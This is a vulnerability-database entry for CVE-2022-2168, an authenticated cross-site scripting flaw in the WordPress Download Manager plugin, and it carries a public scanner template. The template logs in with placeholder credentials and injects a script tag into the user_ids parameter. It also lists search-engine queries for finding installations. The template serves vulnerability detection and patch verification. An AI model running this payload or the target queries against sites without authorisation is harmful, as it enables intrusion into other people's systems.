CVE-2022-2168: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Download Manager | POC: 已公开

漏洞描述

The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.

PoC代码[已公开]

id: CVE-2022-2168

info:
  name: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
  remediation: |
    Update the WordPress Download Manager plugin to version 3.2.44 or later.
  reference:
    - https://wpscan.com/vulnerability/66789b32-049e-4440-8b19-658649851010/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2168
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2168
    cwe-id: CWE-79
    epss-score: 0.00844
    epss-percentile: 0.73987
    cpe: cpe:2.3:a:w3eden:download_manager:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: w3eden
    product: download_manager
    fofa-query: body="wp-content/plugins/download-manager/"
    google-query: inurl:"/wp-content/plugins/download-manager/"
    shodan-query: html:"wp-content/plugins/download-manager/"
  tags: cve,cve2022,wp,wordpress,wp-plugin,xss,download-manager,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert('document_domain')</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('document_domain')</script>"
          - "No downloads found"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009a291c917c857656a87e6f563bbe113e74b328aec1da7f7cc979a49d9b79e6ab02204376416dd598482b6173c26dee0293b239967344018595d6c38a2635dc01a428:922c64590222798bb761d5b6d8e72950

相关漏洞推荐